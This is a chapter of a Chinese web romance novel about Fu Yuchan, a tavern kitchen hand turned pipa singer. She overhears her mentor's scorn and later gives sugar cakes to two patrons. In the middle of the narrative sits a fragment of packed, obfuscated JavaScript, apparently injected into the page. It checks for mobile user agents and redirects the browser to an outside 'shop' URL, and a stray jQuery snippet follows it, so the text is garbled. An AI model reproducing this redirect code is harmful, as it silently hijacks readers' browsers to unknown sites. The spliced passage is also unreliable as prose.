2. 第 2 章

作品:《觊觎义兄被他发现后

    头回见着这么多的碎银子,傅雨婵躲在没人的角落里数了又数,偷着乐了老半天。


    她将赏银藏起一大半,才去跟薛管事回话。


    留着山羊胡子的瘦老头夸她顶事儿,许她今夜早点歇息,然后从她带去的赏银中,拿走了一大半揣进自己兜里。


    攒钱,去外面租铺子开店自己当掌柜。这个念头在傅雨婵心里过了好几遍,她才忍住没冲上去扇那老山羊的脸。


    回房换下小师父送的新衣裙,傅雨婵避开人偷跑去隔壁街的钱庄,将赏银都寄存了。回来时打了二两酒,买了半只烧鸡。


    找到凌娘时,厨房这边也忙完了,她和一起在厨房做事的几个妇人,正聚在后面的小院子里吃宵夜。


    “你这师父做的,怎么连她几时攀上了宁守备和钱大公子都不知!”


    “大家以后同她说话可都要多留神了,小心她回头去那二位跟前告嘴,保管叫你们吃不了兜着走。”


    “你这话是抬举她了,宁守备和钱大公子若真看重她,早接她出去外面住了,怎还会留她在昶月楼里抛头露面地伺候人,说不准是她看人家二位有钱有势,死皮赖脸地往上凑呢。”


    “还真不好说,整个密云城的人谁不知,便是街头乞儿遇上不平事,宁守备和钱大公子都会出手相助,你那徒弟看面相就是个活不长的,若隔三差五地去人家跟前挤眼泪扮可怜,看不过眼怜惜她一二也是有的。”


    “连自己几斤几两都掂量不清,当密云城的人都是眼瞎的吗?就宁守备和钱大公子的才貌、家世,放眼整个蕲州都堪称良配,抢着去献殷勤攀关系的人几时少过,你们见有一个成了的吗?”


    “仗着自己有几分颜色就癞蛤蟆想吃天鹅肉,这般到处丢脸,我若是她爹娘,非得被她活活气死不可!”


    傅雨婵蹲在墙角这边,院中几人的话她一字不差都听清了。


    旁人会有非议她早就料到,不曾想敬重了六年之久的师父,竟也会在人前这般说她,字字诛心,疼得她喘不过气。


    院墙之上明月高悬,傅雨婵躲在阴影处捏着袖子擦了擦眼角,起身将本欲孝敬凌娘的酒与烧鸡,拿去了薛管事房里。


    她放低姿态,很是情真意切地表了自来昶月楼后,如何地蒙受了他诸多的照顾,备下薄礼特来感谢,将薛管事捧得飘飘然。


    “难得你小小年纪如此有心,往后安心去前院弹曲,厨房的事自有其他人接手。”


    “谢管事垂怜。”


    薛管事端起酒杯浅抿了一口,觉得酒不错,便仰头一饮而尽了,道:“齐志那小子也是个没出息的,不过是被客人刁难了几句,就丢下你一个人在房里伺候,以后也不用他与你打配合,我重新安排个伙计给你,或你有看好的也可与我说。”


    “是,”傅雨婵捧起酒壶将桌上空了的杯子斟满,方道,“您忙了一天也累了,我不多打扰了。”


    回到偏院杂役房时,其他人还没回来。


    傅雨婵简单洗漱过后,钻进单薄的被子里翻来覆去睡不着,眼泪打湿了枕头才察觉到自己在哭。


    她从里衣内翻出那张数额不大的银票,对着月光看了又看,再小心翼翼收起来,没多久就迷迷糊糊地睡过去了。


    凌娘与其他杂役、厨娘回来时,洗漱的动静弄得比往常还要大,傅雨婵被吓醒后,发了一会儿愣,只当做无事发生闭着眼睛继续装睡。


    一屋子近十人挨在一起睡,旁边人翻个身她都会惊醒,更别说一整晚的磨牙打呼此起彼伏,时常是睡不了多久就被吓醒,困不住了又再睡过去。


    昶月楼的乐师大多都在外租房住,此后几日也常有人问傅雨婵准备上哪儿租房,说是有好介绍,她推说跟大家住习惯了,暂时没有搬出去的打算。


    傅雨婵没见过自己的父亲,母亲说他抛妻弃女死外边了。


    自她有记忆起,母亲为生计卖身大户人家做仆从,她便跟着在大户家作小仆从,挨骂被打是家常便饭。


    初来昶月楼时,她想着能有口吃的便好,后来见楼里厨娘赚得比杂役多,便嘴甜讨好,买东西孝敬,抢着帮干活……好不容易拜了姓凌的厨娘为师。


    前五年不是摘菜切肉,就是洗锅刷碗,做好杂役的活儿就去帮凌娘做事,每月的工钱大半也都孝敬到她嘴里去了。


    傅雨婵急着赚钱,偷师学了个七七八八,前年终于等来凌娘松口。将厨娘当做唯一出路的傅雨婵,学得认真,逮到练手的机会也很珍惜。


    后来遇上凌娘生病,傅雨婵找到厨房管事提出想暂代她掌厨。


    那几日昶月楼客人多,管事一时半会儿找不到合适的人,便同意让她试试,之后客人吃了她做的菜,也不曾挑出什么毛病,倒是小赚了一笔。


    凌娘病稍好些回来后,同傅雨婵说话总是阴阳怪气的,多问两句就得挨骂。


    后来偷听到厨房里的那几人议论,她才知厨娘这差事是一个萝卜一个坑,有厨娘不干了她才有机会替上,否则只能另谋高就。凌娘总挤兑她,便是疑心她想抢那一个萝卜坑。


    整个蕲州,来往客商最多的便是密云城,昶月楼又是其中最大的酒楼。厨娘这条路走不通,傅雨婵这才瞒着昶月楼的所有人,学姓乔的乐师去书院拜师。


    或许多识几个字,会念诗了也就能唱曲儿。


    她私下偷摸学着乔乐师唱过几回,虽不及人家好听,但也像那么回事,想着多练练兴许能成,总比干一辈子杂役强。


    傅雨婵的小师父原本住在京都,在家待得无聊了,不辞千里来到密云城寻兄长宁砚骁,一番游玩后她想要留下来长住,就在宁砚骁出钱办的书院里,找了份管理书阁的差事。


    旁人到书院求学要么出钱,要么孝敬东西,听说书院这么做,是怕招收学子不收点什么东西,来求学的只图不花钱,在学业上不会用心。


    小师父年十七,比傅雨婵小六岁。她不爱吃书院的饭菜,收傅雨婵只有一个要求,就是去学字的时候,得为她做两顿饭。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319138|199025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >傅雨婵是她第一个学生,也是迄今为止唯一的一个。


    为了学琵琶,傅雨婵拿出所有积蓄,又跟小师父借了些,勉强买到把旧琵琶。学的时候觉得苦了累了,就想着买琵琶的钱还没回本,这才一月又一月地坚持了下来。


    比起在大堂众目睽睽之下自弹自唱,进雅间宴客得的赏钱更多,然则傅雨婵资历浅,后者十回有九回轮不着她。幸而还有另外的舞姬和她轮换登台,几日下来倒也不算难捱。


    这天宁砚骁与钱朔再来昶月楼时,傅雨婵正在台上弹唱《禁庭春》,琵琶声与歌声潺潺似珠玉相撞四散流淌开,婉转深情,赢得一阵叫好。


    未曾在大堂落座过的宁、钱两人,四处瞧了不见空位,便与人拼桌同坐。柜台那头站着的薛管事远远见了他们,忙不迭迎过去,又是上茶水,又是上果子点心地伺候着。


    “我们坐一会儿,你自去忙吧。”钱朔这话说得谦和,薛管事也识趣,吩咐过伙计再去端些鲜果来,便退下了。


    傅雨婵一弹唱完便换舞姬上台,她一路飞奔,回房将早备下的谢礼翻出来,再马不停蹄跑到宁砚骁与钱朔这边。


    “给、给……”她两手各捧着一包油酥小糖饼,跑得太急,双颊又粉又红,呼哧呼哧地喘着粗气。


    “给我们的?”宁砚骁一看便知是她自己做的,闻起来分外香甜。


    傅雨婵气还未喘匀,一时说不出话,很是用力地点了点头。


    “有心了,”宁砚骁欣然接过他的那份,弯唇笑了笑,“多谢。”


    钱朔却不要,不满地挑起眉盯着傅雨婵,“你是不是故意的?”


    她一脸困惑,眨了眨眼。


    钱朔道:“这玩意儿闻着就齁甜,分明是宁砚骁喜欢的,你既知他喜甜,怎会不知我最讨厌的就是甜腻腻的东西!”


    傅雨婵抿唇看了钱朔一眼,踟蹰半晌,道:“那……我下次试试做香辣口的?”


    那还叫糖饼吗!


    钱朔冷哼一声,转而又笑了,接过他的那份糖饼转手塞给了宁砚骁,对傅雨婵道:“这可是你自己说的,下回来要是没有香辣口的,我……”


    “啊呀,该我上台了!”傅雨婵探头往台子那边望了一眼,急匆匆跑开了。


    曲乐未歇,舞姬在台上翩跹若蝶,转得鲜红裙摆如花瓣绽放,钱朔一回头,见宁砚骁还在盯着那跑远了的背影看,伸手过去晃了晃。


    宁砚骁这才收回视线,瞟他一眼:“干嘛?”


    “几个糖饼就把你魂儿勾走了?”


    “说什么呢,”宁砚骁拿起糖饼咬了一口,边嚼边说,“我就是觉得她这样一个女子,挺厉害的。”


    钱朔亦有同感点了点头,道:“我听底下人说,自她来大堂登台,楼里客人又多了不少,是个有才艺的,也努力,就是不知她将来造化如何了。”


    这会儿,倒真轮着傅雨婵上台了,宁砚骁往那边看了一眼,将手里的糖饼好好收起来,道:“走吧,该去谈正事了。”